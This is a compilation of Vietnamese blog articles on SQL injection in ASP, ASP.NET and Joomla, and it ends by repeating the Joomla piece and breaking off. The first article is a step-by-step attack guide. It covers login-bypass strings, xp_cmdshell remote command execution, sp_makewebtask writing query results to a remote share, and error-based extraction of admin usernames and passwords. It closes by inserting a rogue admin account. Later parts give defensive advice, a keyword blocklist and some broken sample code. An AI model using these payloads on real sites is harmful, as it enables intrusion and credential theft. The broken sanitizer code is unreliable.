Tấn công kiểu SQL Injection và các phòng chống trong ASP.NET

1. SQL Injection là gì?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, …

2. Tìm kiếm mục tiêu

Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, …

Ví dụ:

http://yoursite.com/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

3. Kiểm tra chỗ yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi’ or 1=1–

Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

<FORM action=http://yoursite.com/Search/search.asp method=post>
<input type=hidden name=A value=”hi’ or 1=1–“>
</FORM>

Nếu thành công, thì có thể login vào mà không cần phải biết username và password

4. Tại sao ‘ or 1=1– có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

http://yoursite.com/index.asp?category=food

Trong URL trên, biến ‘category‘ được gán giá trị là ‘food‘. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request(“category”)
sqlstr=”SELECT * FROM product WHERE PCategory='” & v_cat & “‘”
set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request(“category”) là ‘food‘ và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory=’food’

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory=’food’

Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food’ or 1=1– , biến v_cat sẽ chứa giá trị “food’ or 1=1– ” và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory=’food’ or 1=1–‘

Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng ‘food’ hay không. Hai dấu gạch ngang (–) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “–” sẽ bị bỏ qua. Đối với MySQL, hãy thay “–” thành “#”

Ngoài ra, cũng có thể thử cách khác bằng cách submit ‘ or ‘a’=’a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

‘ or 1=1–

” or 1=1–

or 1=1–

‘ or ‘a’=’a

” or “a”=”a

‘) or (‘a’=’a

5. Thi hành lệnh từ xa bằng SQL Injection

Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:

‘; exec master..xp_cmdshell ‘ping 10.10.1.2’–

Hãy thử dùng dấu nháy đôi (“) nếu dấu nháy đơn (‘) không làm việc.

Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

6. Nhận output của SQL query

Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”

Chú ý: folder “share” phải được share cho Everyone trước.

7. Nhận dữ liệu qua ‘database using ODBC error message

Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ’10’ với một string khác lấy từ CSDL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.

/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “table1“. Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1’)–

Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25’–

Khi đó thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.

/index.asp, line 5

Mẫu so sánh ‘%25login%25‘ sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login“.

8. Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.

/index.asp, line 5

Như vậy tên của column đầu tiên là “login_id“. Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.

/index.asp, line 5

Làm tương tự như trên, có thể lấy được tên của các column còn lại như “password“, “details“. Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’,’password’,details’)–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5

9. Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

Có thể lấy login_name đầu tiên trong table “admin_login” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.

/index.asp, line 5

Dễ dàng nhận ra được admin user đầu tiên có login_name là “neo“. Hãy thử lấy password của “neo” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.

/index.asp, line 5

Và bây giờ là đã có thể login vào với username là “neo” và password là “m4trix“.

10. Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của “trinity” là “31173“. Vậy nếu ta thi hành lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’–

Thì khi đó chỉ nhận được thông báo lỗi “Page Not Found“. Lý do bởi vì server có thể chuyển passoword “31173” sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’–

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của ‘+’ là 0x2b). Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo ra một string mới không phải numeric string là ‘31173 morpheus’. Khi hàm convert() được gọi để chuyển ‘31173 morpheus’ sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.

/index.asp, line 5

Và nghĩa là bây giờ ta cũng có thể login vào với username ‘trinity‘ và password là ‘31173

11. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

Để thay đổi password của “neo”, có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_name=’neo’–

Hoặc nếu bạn muốn một record mới vào table:

http://yoursite.com/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–

Và bây giờ có thể login vào với username “neo2” và password là “newpas5”

12. Ngăn chặn SQL Injection

Hãy loại bỏ các kí tự meta như ‘”/\; và các kí tự extend như NULL, CR, LF, … trong các string nhận được từ:

  • input do người dùng đệ trình
  • các tham số từ URL
  • các giá trị từ cookie

Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi “Startup and run SQL Server” dùng mức low privilege user trong tab SQL Server Security.

Xóa các stored procedure trong database master mà không dùng như:

  • xp_cmdshell
  • xp_startmail
  • xp_sendmail
  • sp_makewebtask

13. Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.

13. Tài liệu thao khảo

Theo blog thuynt

SQL Injection và cách phòng chống

Khi triển khai các ứng dụng web trên Internet, nhiều người vẫn nghĩ rằng việc đảm bảo an toàn, bảo mật nhằm giảm thiểu tối đa khả năng bị tấn công từ các tin tặc chỉ đơn thuần tập trung vào các vấn đề như chọn hệ điều hành, hệ quản trị cơ sở dữ liệu, webserver sẽ chạy ứng dụng, … mà quên mất rằng ngay cả bản thân ứng dụng chạy trên đó cũng tiềm ẩn một lỗ hổng bảo mật rất lớn. Một trong số các lỗ hổng này đó là SQL injection. Tại Việt Nam, đã qua thời kì các quản trị website lơ là việc quét virus, cập nhật các bản vá lỗi từ các phần mềm hệ thống, nhưng việc chăm sóc các lỗi của các ứng dụng lại rất ít được quan tâm. Đó là lí do tại sao trong thời gian vừa qua, không ít website tại Việt Nam bị tấn công và đa số đều là lỗi SQL injection. Vậy SQL injection là gì ?

1. SQL Injection là gì?

SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để “tiêm vào” (inject) và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước). Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.

2. Các dạng tấn công bằng SQL Injection

Có bốn dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng nhập (authorization bypass), sử
dụng câu lện SELECT, sử dụng câu lệnh INSERT, sử dụng các stored-procedures.

2.1. Dạng tấn công vượt qua kiểm tra đăng nhập

– Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng
các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web.
– Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các trang web được
bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên
đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập
và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp.
– Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu
và một trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ:

login.htm

<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME"><br>
Password: <input type="password" name="fPASSWORD"><br>
<input type="submit">
</form>

execlogin.asp

<%
var vUsrName, vPassword;
var Conn = Server.CreateObject("ADODB.Connection");
Conn.ConnectionString = "Driver={Microsoft Access Driver (*.mdb)};DBQ=" + Server.MapPath("database.mdb");
Conn.Open();
var objRS, strSQL;
vUsrName = "" + Request.Form("fUSRNAME");
vPassword = "" +Request.Form("fPASSWORD");

strSQL = "SELECT * FROM T_USERS WHERE USR_NAME='" + vUsrName + "' and USR_PASSWORD='" + vPassword + "'";

objRS = Server.CreateObject("ADODB.Recordset");
objRS = Conn.Execute(strSQL);

if (objRS.EOF)
  Response.Write("Invalid login.");
else
  Response.Write("You are logged in as " + objRS("USR_NAME"));

Conn.Close();
%>

– Thoạt nhìn, đoạn mã trong trang execlogin.asp dường như không chứa bất cứ một lỗ hổng về an toàn nào. Người dùng không thể đăng nhập mà không có tên đăng nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự không an toàn và là tiền đề cho một lỗi SQL injection. Đặc biệt, chỗ sơ hở nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL. Chính điều này cho phép những kẻ tấn công có thể điều khiển câu truy vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang login.htm là: ‘ OR ‘ ‘ = ‘ ‘. Lúc này, câu truy vấn sẽ được gọi thực hiện là:

SELECT * FROM T_USERS WHERE USR_NAME =” OR ”=” and USR_PASSWORD= ” OR ”=”

– Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.

2.2. Dạng tấn công sử dụng câu lệnh SELECT

– Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công.
– Xét một ví dụ rất thường gặp trong các website về tin tức. Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung của tin có ID này. Ví dụ: http://www.myhost.com/shownews.asp?ID=123. Mã nguồn cho chức năng này thường được viết khá đơn giản theo dạng

<%
var vNewsID, objRS, strSQL;
vNewsID = Request("ID");
strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" + vNewsID;
objRS = Server.CreateObject("ADODB.Recordset");
objRS = Conn.Execute(strSQL);
Conn.Close();
%>

– Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên, giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, và từ đó, khởi đầu cho một cuộc tấn công bất hợp pháp, ví dụ như: 0 OR 1=1 (nghĩa là, http://www.myhost.com/shownews.asp?ID=0 or 1=1).

– Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:
SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1

– Một trường hợp khác, ví dụ như trang tìm kiếm. Trang này cho phép người dùng nhập vào các
thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp là:

<%
var vAuthorName, objRS, strSQL;
vAuthorName = Request("fAUTHOR_NAME");
strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " + vAuthorName + " ' ";
objRS = Server.CreateObject("ADODB.Recordset");
objRS = Conn.Execute(strSQL);
...
Conn.Close();
%>

– Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên tác giả bằng chuỗi giá trị:
‘ UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ‘ ‘=’ (*)
– Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa.
– Tất nhiên các ví dụ nói trên, dường như không có gì nguy hiểm, nhưng hãy thử tưởng tượng kẻ tấn công có thể xóa toàn bộ cơ sở dữ liệu bằng cách chèn vào các đoạn lệnh nguy hiểm như lệnh DROP
TABLE. Ví dụ như: ‘ DROP TABLE T_AUTHORS —
– Chắc các bạn sẽ thắc mắc là làm sao biết được ứng dụng web bị lỗi dạng này được. Rất đơn giản, hãy nhập vào chuỗi (*) như trên, nếu hệ thống báo lỗi về cú pháp dạng: Invalid object name “OtherTable”; ta có thể biết chắc là hệ thống đã thực hiện câu SELECT sau từ khóa UNION, vì như vậy mới có thể trả về lỗi mà ta đã cố tình tạo ra trong câu lệnh SELECT.
– Cũng sẽ có thắc mắc là làm thế nào có thể biết được tên của các bảng dữ liệu mà thực hiện các thaotác phá hoại khi ứng dụng web bị lỗi SQL injection. Cũng rất đơn giản, bởi vì trong SQL Server, có hai đối tượng là sysobjects và syscolumns cho phép liệt kê tất cả các tên bảng và cột có trong hệ thống. Ta chỉ cần chỉnh lại câu lệnh SELECT, ví dụ như:
‘ UNION SELECT name FROM sysobjects WHERE xtype = ‘U’ là có thể liệt kê được tên tất cả các bảng dữ liệu.

2.3. Dạng tấn công sử dụng câu lệnh INSERT

– Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào.

– Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO TableName VALUES(‘Value One’, ‘Value Two’, ‘Value Three’). Nếu đoạn mã xây dựng câu lệnh SQL có dạng :

<%
strSQL = "INSERT INTO TableName VALUES(' " + strValueOne + " ', ' " + strValueTwo + " ', ' " + strValueThree + " ') ";
objRS = Server.CreateObject("ADODB.Recordset");
objRS == Conn.Execute(strSQL);
...
Conn.Close();
%>

– Thì chắc chắn sẽ bị lỗi SQL injection, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như: ‘ + (SELECT TOP 1 FieldName FROM TableName) + ‘. Lúc này câu truy vấn sẽ là: INSERT INTO TableName VALUES(‘ ‘ + (SELECT TOP 1 FieldName FROM TableName) + ‘ ‘, ‘abc’, ‘def’). Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó là: SELECT TOP 1 FieldName FROM TableName

2.4. Dạng tấn công sử dụng stored-procedures

Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống ‘sa’. Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ‘ ; EXEC xp_cmdshell ‘cmd.exe dir C: ‘. Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.

3. Cách phòng tránh

– Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của các lập trình viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào để xây dựng câu lệnh SQL. Tác hại từ lỗi SQL injection tùy thuộc vào môi trường và cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo (quyền của người sở hữu cơ sở dữ liệu – owner) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới, … Nếu ứng dụng sử dụng quyền sa (quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ quản trị cơ sở dữ liệu và với quyền hạn rộng lớn như vậy nó có thể tạo ra các tài khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn. Để phòng tránh, ta có thể thực hiện ở hai mức:

3.1. Kiểm soát chặt chẽ dữ liệu nhập vào

– Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu lệnh SQL là bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ đối tượng Request (Request, Request.QueryString, Request.Form, Request.Cookies, and Request.ServerVariables). Ví dụ, có thể giới hạn chiều dài của chuỗi nhập liệu, hoặc thay thế các dấu nháy đơn bằng 2 dấu nháy đơn như:

<%
var account = '' + Request.Form("AccountID");
var password = '' + Request.Form("Password");
account = account.replace("'","''");
password = password.replace("'","''");
%>

– Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay không bằng hàm IsNumeric().
– Ngoài ra có thể xây dựng hàm loại bỏ một số kí tự và từ khóa nguy hiểm như: ;, –, select, insert, xp_, … ra khỏi chuỗi dữ liệu nhập từ phía người dùng để hạn chế các tấn công dạng này:

<%
function KillChars(sInput)
{
var badChars;
var newChars;
badChars = mew array("select", "drop", ";", "--", "insert", "delete", "xp_");
newChars = sInput;
for (var i=0; i<badChars.length; i++)
{
newChars = newChars.replace(badChars, "");
}
return newChars;
}
%>


3.2. Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu

– Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo hay sa.
Quyền càng bị hạn chế, thiệt hại càng ít.
– Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.

Theo thuynt blog


Đấu giá trực tuyến hàng đầu Việt Nam

Chống tấn công SQL Injection trong Joomla

Written by VINAORA
Sunday, 03 August 2008 14:31
SQL Injection trong JoomlaHiện Joomla! ngày càng phát triển mạnh mẽ và ngày càng được ứng dụng rộng rãi ở Việt Nam với số lượng các thành phần mở rộng (extensions) từ các hãng thứ ba cũng tăng không ngừng cả về số lượng và chất lượng. Rất nhiều thành phần mở rộng (gồm component, module, plugin, template…) thực sự tuyệt vời và đáng được cài đặt trên mọi Website.

Tuy nhiên, có một thực tế song hành với mặt ưu điểm trên là số lượng các Website bị tấn công thông qua các lỗi lập trình bất cẩn trong các thành phần mở rộng được cài đặt thêm cũng ngày càng tăng cao. Thậm chí số lượng lỗi bị khai thác còn cao hơn cả Microsoft (theo báo cáo 6 tháng đầu năm 2008 của IBM).

Do vậy, ngay từ lúc này, bạn hãy kiểm tra lại toàn bộ hệ thống của mình để đảm bảo: Chỉ cài đặt các thành phần mở rộng thực sự cần thiết, thực sự uy tín và hãy nhờ một người có kinh nghiệm để kiểm tra các đoạn mã, mà một trong số chúng thường bị hacker khai thác – các lỗi phổ biến về truy vấn SQL (thường gọi là SQL Injection).

Còn nếu bạn là một developer hãy tạo cho mình những thói quen tốt sau:

Ép kiểu dữ liệu

Luôn ép kiểu dữ liệu cho các chuỗi đưa vào câu lệnh truy vấn SQL. Thí dụ:

Nếu muốn kiểu dữ liệu là kiểu nguyên (integer) thì sử dụng câu lệnh SQL:

$sql = 'UPDATE #__mytable SET `id` = ' . (int) $int;

Nếu muốn kiểu dữ liệu là kiểu ngày/tháng (date) thì sử dụng câu lệnh SQL:

$date = &amp; JFactory::getDate($mydate);
$sql = 'UPDATE #__mytable SET `date` = ' . $db->quote( $date->toMySQL(), false);

Luôn gỡ bỏ ý nghĩa của những ký tự đặc biệt

Bạn cần gỡ bỏ ý nghĩa của những ký tự đặc biệt (những ký tự có khả năng gây nguy hiểm cho câu lệnh SQL) nằm trong các chuỗi dữ liệu được đưa vào câu lệnh SQL bằng câu lệnh:

$sql = 'UPDATE #__mytable SET `string` = ' . $db->quote( $db->getEscaped( $string ), false );

Chống tấn công DOS

Trong các mệnh đề WHERE, nếu bạn có sử dụng lệnh LIKE, hãy đảm bảo rằng bạn đã lọc các ký tự đặc biệt như “%” và “_”  thì sử dụng câu lệnh SQL:

$sql = 'UPDATE #__mytable SET .... WHERE `string` LIKE '.
          $db->quote( $db->getEscaped( $string, true ), false )

Chống tấn công XSS

Rất nhiều người có thói quen lấy dữ liệu nhập vào từ người dùng bằng câu lệnh JRequest::getVar(). Tuy nhiên đây là một thói quen không tốt. Thay vào đó bạn nên sử dụng các phương thức ép kiểu. Thí dụ:

Nếu muốn kiểu số nguyên, dùng câu lệnh:

$int = JRequest::getInt( $name, $default );

Nếu muốn kiểu số thực, dùng câu lệnh:

$float = JRequest::getFloat( $name, $default );

Nếu muốn kiểu logic (đúng/sai), dùng câu lệnh:

$bool = JRequest::getBool( $name, $default );

Nếu muốn kiểu từ (word): chỉ có các ký tự chữ cái và ký tự gạch dưới “_”, dùng câu lệnh:

$word = JRequest::getWord( $name, $default );

Nếu muốn kiểu câu lệnh (command): chỉ có các ký tự chữ cái, ký tự số, ký tự “.”  và “_”, dùng câu lệnh:

$cmd = JRequest::getCMD( $name, $default );

Nếu muốn kiểu văn bản không phải HTML (văn bản đã được lọc bỏ các thẻ HTML), dùng câu lệnh:

$string = JRequest::getString( $name, $default );

Tham khảo thêm:

Keyword:

  • câu lệnh, sql, sql injection, ép kiểu, lọc bỏ, số nguyên, số thực, DOS, XSS, interger, float, string, JRequest…

Chống tấn công SQL Injection trong Joomla

Hiện Joomla! ngày càng phát triển mạnh mẽ và ngày càng được ứng dụng rộng rãi ở Việt Nam với số lượng các thành phần mở rộng (extensions) từ các hãng thứ ba cũng tăng không ngừng cả về số lượng và chất lượng. Rất nhiều thành phần mở rộng (gồm component, module, plugin, template…) thực sự tuyệt vời và đáng được cài đặt trên mọi Website.

Tuy nhiên, có một thực tế song hành với mặt ưu điểm trên là số lượng các Website bị tấn công thông qua các lỗi lập trình bất cẩn trong các thành phần mở rộng được cài đặt thêm cũng ngày càng tăng cao. Thậm chí số lượng lỗi bị khai thác còn cao hơn cả Microsoft (theo báo cáo 6 tháng đầu năm 2008 của IBM).

Do vậy, ngay từ lúc này, bạn hãy kiểm tra lại toàn bộ hệ thống của mình để đảm bảo: Chỉ cài đặt các thành phần mở rộng thực sự cần thiết, thực sự uy tín và hãy nhờ một người có kinh nghiệm để kiểm tra các đoạn mã, mà một trong số chúng thường bị hacker khai thác – các lỗi phổ biến về truy vấn SQL (thường gọi là SQL Injection).

Còn nếu bạn là một developer hãy tạo cho mình những thói quen tốt sau:
Ép kiểu dữ liệu

